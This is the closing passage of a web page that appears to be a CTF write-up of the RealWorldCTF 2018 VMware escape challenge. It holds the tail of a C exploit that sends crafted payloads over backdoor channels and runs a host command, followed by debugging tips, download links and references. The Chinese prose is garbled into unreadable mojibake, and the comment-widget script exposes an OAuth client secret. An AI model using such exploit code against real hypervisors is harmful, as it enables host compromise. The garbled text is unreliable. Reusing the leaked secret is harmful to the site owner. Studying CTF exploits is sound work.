class="mi">8</span><span class="p">,</span><span class="o">&</span><span class="n">pay3</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1606 <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">pay4</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="n">pay4</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1607 <span class="n">run_cmd</span><span class="p">(</span><span class="n">s4</span><span class="p">);</span> 1608 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1609 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to set len</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1610 <span class="k">return</span><span class="p">;</span> 1611 <span class="p">}</span> 1612<span class="p">}</span> 1613<span class="kt">void</span> <span class="nf">main</span><span class="p">(){</span> 1614 <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span> 1615 <span class="n">setvbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span> 1616 <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span> 1617 <span class="n">leak</span><span class="p">();</span> 1618 <span class="n">printf</span><span class="p">(</span><span class="s">"text base :%p"</span><span class="p">,</span><span class="n">text</span><span class="p">);</span> 1619 <span class="n">exploit</span><span class="p">();</span> 1620<span class="p">}</span> 1621</pre></div> 1622Enjoy your calculator:) 1623<img alt="" src="/assets/images/backup/realworldctf_2018_stationescape/d46yMQQ.png" /></p> 1624<h2 id="_4">å ³äºè°è¯<a class="headerlink" href="#_4" title="Permanent link">¶</a></h2> 1625<p>è°è¯æç¹å°æå·§éè¦è¯´æä¸ä¸ãé¦å å°±æ¯æ£å¸¸çæ<code>vmware</code>å¼èµ·æ¥ï¼ç¶åå¨<code>host</code>ç¨<code>gdb</code>æ¥<code>attach</code>ä¸å»ãè¿ä¸ªæ¶åæä»¬ä¼ä¸æç¹ï¼ç¶åç»§ç»è¿è¡ï¼è¿å ¥èææº<code>guest</code>éé¢è·<code>exploit</code>èæ¬ãä½å¤§å®¶æ³ä¸ä¸ï¼å¦æä½ è¿å¨<code>guest</code>éé¢çæ¶åï¼<code>host</code>ç<code>gdb</code>éå°äºæç¹ï¼ä¼ææ ·ï¼ 1626å 为<code>gdb</code>éå°äºæç¹ï¼é£ä¹<code>guest</code>就被åä½äºãç¶èä½ è¿å¨<code>guest</code>éé¢ï¼ä½ 就没æåæ³æ<code>ctrl+alt</code>ååºæ¥äºï¼å°±å被人æ¾äºä¸æ<code>æ¶é´åæ¢</code>䏿 ·ãè¿ä¸ªæ¶åä½ é¤äºå«æ³ªå¼ºå¶å ³æºä¹å¤æ²¡æä»ä¹å¥½åæ³ãæä»¥å¤§å®¶å¨è°è¯çæ¶åè®°å¾ç°å¨expå¼å¤´å 个<code>sleep</code>,ç¶åå¨<code>sleep</code>çæ¶åèµ¶ç´§æé¼ æ ååºæ¥å°<code>host</code>ä¸ãè¿æ ·å°±å¯ä»¥æ£å¸¸è°è¯äºã(PS:好å<code>mac</code>ä¸ä¼æè¿ä¸ªé®é¢ï¼å 为<code>mac</code>å¯ä»¥ç´æ¥ç¨è§¦æ¸æ¿ååºæ¥?)</p> 1627<h2 id="_5">ç¸å ³ææ<a class="headerlink" href="#_5" title="Permanent link">¶</a></h2> 1628<p>é¢ç®ç¸å ³ææï¼</p> 1629<blockquote> 1630<p>é¢ç®æä½ç³»ç»ï¼Ubuntu x64 1804 1631ç®æ VMWare Workstationï¼VMware-Workstation-Full-15.0.2-10952284.x86_64.bundleï¼<a href="https://drive.google.com/open?id=1SlojAhX0NCpWTPjASfM03v5QBvRtT-sp">https://drive.google.com/open?id=1SlojAhX0NCpWTPjASfM03v5QBvRtT-sp</a> 1632patched VMXï¼<a href="https://drive.google.com/open?id=1MJQSQYufGtl9DQnG1osyMk_1YbgCPL-E">https://drive.google.com/open?id=1MJQSQYufGtl9DQnG1osyMk_1YbgCPL-E</a></p> 1633</blockquote> 1634<p>ä¸äºåèèµæï¼</p> 1635<blockquote> 1636<p><a href="https://www.zerodayinitiative.com/blog/2017/6/26/use-after-silence-exploiting-a-quietly-patched-uaf-in-vmware">https://www.zerodayinitiative.com/blog/2017/6/26/use-after-silence-exploiting-a-quietly-patched-uaf-in-vmware</a> 1637<a href="https://www.52pojie.cn/thread-783225-1-1.html">https://www.52pojie.cn/thread-783225-1-1.html</a> 1638<a href="https://sites.google.com/site/chitchatvmback/backdoor">https://sites.google.com/site/chitchatvmback/backdoor</a></p> 1639</blockquote> 1640 1641 1642 1643 1644 1645 <h2 id="__comments">Comments</h2> 1646<form id="gitalk-form" onsubmit="return false;"> 1647 <div id="gitalk-container"></div> 1648</form> 1649<link rel="stylesheet" href="https://unpkg.com/gitalk/dist/gitalk.css">
1650<script src="https://unpkg.com/gitalk/dist/gitalk.min.js"></script>
vendor: 1 bytes, line 1650
1650
1651<script src="https://cdnjs.loli.net/ajax/libs/blueimp-md5/2.10.0/js/md5.min.js"></script>
vendor: 1 bytes, line 1651
1651
1652<script> 1653 const gitalk = new Gitalk({ 1654 clientID: '3723c7324ba2e721d768', // add yourself's 1655 clientSecret: '258669b5f96c0bb0d7c8460b2c272cf9cd3616fa', // add yourself's 1656 repo: 'comment', 1657 owner: 'beafb1b1', // add yourself's 1658 admin: ['beafb1b1'], // add yourself's 1659 id: md5(location.pathname), // Ensure uniqueness and length less than 50 1660 distractionFreeMode: false // Facebook-like distraction free mode 1661 }) 1662 gitalk.render('gitalk-container') 1663</script>
1663 1664 1665 </article> 1666 </div> 1667 </div> 1668 </main> 1669 1670 1671<footer class="md-footer"> 1672 1673 <div class="md-footer-nav"> 1674 <nav class="md-footer-nav__inner md-grid"> 1675 1676 <a href="../../blockchain/szjj_2019_final_cow_rise/" title="æ°åç»æµ 2019 final rise cow" class="md-flex md-footer-nav__link md-footer-nav__link--prev" rel="prev"> 1677 <div class="md-flex__cell md-flex__cell--shrink"> 1678 <i class="md-icon md-icon--arrow-back md-footer-nav__button"></i> 1679 </div> 1680 <div class="md-flex__cell md-flex__cell--stretch md-footer-nav__title"> 1681 <span class="md-flex__ellipsis"> 1682 <span class="md-footer-nav__direction"> 1683 Previous 1684 </span> 1685 æ°åç»æµ 2019 final rise cow 1686 </span> 1687 </div> 1688 </a> 1689 1690 1691 <a href="../gitpage_fuck/" title="gitpageéå" class="md-flex md-footer-nav__link md-footer-nav__link--next" rel="next"> 1692 <div class="md-flex__cell md-flex__cell--stretch md-footer-nav__title"> 1693 <span class="md-flex__ellipsis"> 1694 <span class="md-footer-nav__direction"> 1695 Next 1696 </span> 1697 gitpageéå 1698 </span> 1699 </div> 1700 <div class="md-flex__cell md-flex__cell--shrink"> 1701 <i class="md-icon md-icon--arrow-forward md-footer-nav__button"></i> 1702 </div> 1703 </a> 1704 1705 </nav> 1706 </div> 1707 1708 <div class="md-footer-meta md-typeset"> 1709 <div class="md-footer-meta__inner md-grid"> 1710 <div class="md-footer-copyright"> 1711 1712 <div class="md-footer-copyright__highlight"> 1713 Copyright © b1b1@r3kapig 1714 </div> 1715 1716 powered by 1717 <a href="https://www.mkdocs.org">MkDocs</a> 1718 and 1719 <a href="https://squidfunk.github.io/mkdocs-material/"> 1720 Material for MkDocs</a> 1721 </div> 1722 1723 </div> 1724 </div> 1725</footer> 1726 1727 </div> 1728 1729
1729<script src="../../assets/javascripts/application.ac79c3b0.js"></script>
1729 1730 1731
1731<script>app.initialize({version:"1.0.4",url:{base:"../.."}})</script>
1731 1732 1733 1734 </body> 1735</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.